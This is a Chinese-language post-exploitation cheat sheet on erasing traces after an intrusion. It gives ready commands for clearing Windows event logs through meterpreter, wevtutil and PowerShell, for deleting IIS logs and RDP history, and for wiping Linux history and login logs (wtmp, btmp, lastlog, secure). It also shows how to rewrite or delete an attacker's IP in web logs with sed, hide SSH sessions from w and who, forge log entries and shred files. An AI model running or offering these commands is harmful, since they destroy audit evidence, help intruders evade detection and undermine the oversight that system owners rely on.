后渗透-清理痕迹
1.简介
在进行各类攻防项目时需要好好的保护自己。整理windows和linux痕迹清理方法。
2.windows痕迹清理
使用msf清理
1
| meterpreter> run event_manager -c
|
有远程权限清理的手动清理路径
开始-程序-管理工具-计算机管理-系统工具-事件查看器-清除日志
使用wevtutil清理
1 2 3 4
| wevtutil el 列出系统中所有日志名称 wevtutil cl system 清理系统日志 wevtutil cl application 清理应用程序日志 wevtutil cl security 清理安全日志
|
用powershell全清理
1
| PowerShell -Command "& {Clear-Eventlog -Log Application,System,Security}" & Powershell -Command "Get-WinEvent -ListLog Application,Setup,Security -Force | % {Wevtutil.exe cl $_.Logname}"
|
清理iis
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| 1.停止服务: net stop w3svc 2.删除日志目录下所有文件: del *.* 3.重新启用服务: net start w3svc
IIS日志存放地址: Windows Server 2003 iis 6日志路径: C:\Windows\System32\LogFiles Windows Server 2008 R2、2012、2016、2019 iis7以上日志路径: C:\inetpub\logs\LogFiles
由于每个网站,iis 都会自动生成一个保存日志的文件夹,所以具体 iis日志位置在 LogFiles 文件夹中的一个子文件夹里,例如: C:\Windows\System32\LogFiles\W3SVC2 C:\inetpub\logs\LogFiles\W3SVC1
|
rdp记录清理
1
| reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server ClientDefault" /va /f® delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f® add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"&del /ah %homepath%\documents\default.rdp
|
windows文件安全删除
1 2 3 4 5 6 7 8
| 1.Cipher 命令多次覆写: cipher /w:D:\文件名 2.Format命令覆盖格式化: format D: /P:8
Tips: 1.在删除文件后,可以利用Cipher 命令通过 /W 参数可反复写入其他数据覆盖已删除文件的硬盘空间,彻底删除数据防止被恢复. 2.Format 命令加上 /P 参数后,就会把每个扇区先清零,再用随机数覆盖.而且可以覆盖多次,上述这条命令表示把 D 盘用随机数覆盖 8 次.
|
替换日志
1 2 3 4 5 6 7 8
| 1.利用脚本停止日志的记录: https://github.com/hlldz/Invoke-Phant0m
2.Windows 单条日志清除: https://github.com/QAX-A-Team/EventCleaner
3.Windows日志伪造: eventcreate -l system -so administrator -t warning -d "this is a test" -id 500
|
3.linux痕迹清理
首先针对.bash开头的文件进行处理如.bash_history
或.bash_logout
在当前shell中直接输入命令HISTSIZE=0 && HISTFILESIZE=0
,这样会将缓存的history记录和/.bash_history中的记录全部清空;如果在/.bashrc初始化文件中添加命令:HISTSIZE=0 && HISTFILESIZE=0
,这样每次开启shell都不会再记录history命令。
本次不记录任何信息
1
| unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0
|
清除history
1 2 3 4 5 6
| vim ~/.bash_history 删除不想要的部分,dd删除一整行 Esc,输入:wq,回车
清理当前用户的history history -c
|
linux日志全清理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| echo > /var/log/btmp;echo > /var/log/wtmp;echo > /var/log/lastlog;echo > /var/log/utmp;cat /dev/null > /var/log/secure;cat /dev/null > /var/log/message;echo ok 1.清除登录系统失败的记录: echo > /var/log/btmp
2.清除登录系统成功的记录: echo > /var/log/wtmp
3.清除用户最后一次登录时间: echo > /var/log/lastlog
4.清除当前登录用户的信息: echo > /var/log/utmp
5.清除安全日志记录: cat /dev/null > /var/log/secure
6.清除系统日志记录: cat /dev/null > /var/log/message
|
替换
1 2 3 4 5
| 删除所有匹配到字符串的行,比如以当天日期或者自己的登录ip: sed -i '/10.10.10.10/'d /var/log/messages
全局替换登录IP地址: sed -i 's/10.10.10.10/192.168.1.1/g' secure
|
linux web日志清理
1 2 3 4 5 6 7 8 9
| 直接替换日志ip地址: sed -i 's/10.10.10.10/192.168.1.1/g' access.log
清除部分相关日志: 使用grep -v来把相关信息删除: cat /var/log/nginx/access.log | grep -v evil.php > tmp.log
把修改过的日志覆盖到原日志文件: cat tmp.log > /var/log/nginx/access.log/
|
linux 隐身登录ssh (不被w who last命令检测)
1
| ssh -T root@10.10.10.10 /bin/bash -i
|
不记录ssh公钥
1
| ssh -o UserKnownHostsFile=/dev/null -T root@10.10.10.10 /bin/bash -i
|
文件安全删除
1 2 3 4 5 6 7 8
| shred命令擦除数据,默认覆盖3次,通过 -n指定数据覆盖次数: shred -f -u -z -v -n 8 <要删除的文件>
dd命令: dd if=/dev/zero of=<要删除的文件> bs=<大小> count=<写入的次数>
wipe命令: wipe <要删除的文件>
|
4.参考链接
[Wiping logs from target with clearev command - Metasploit Revealed: Secrets of the Expert Pentester Book] (oreilly.com)
6.1.4. 痕迹清理 — Web安全学习笔记 1.0 文档 (websec.readthedocs.io)
6.2.3. 痕迹清理 — Web安全学习笔记 1.0 文档 (websec.readthedocs.io)
Windows 入侵痕迹清理技巧 (qq.com)
Linux 入侵痕迹清理技巧 (qq.com)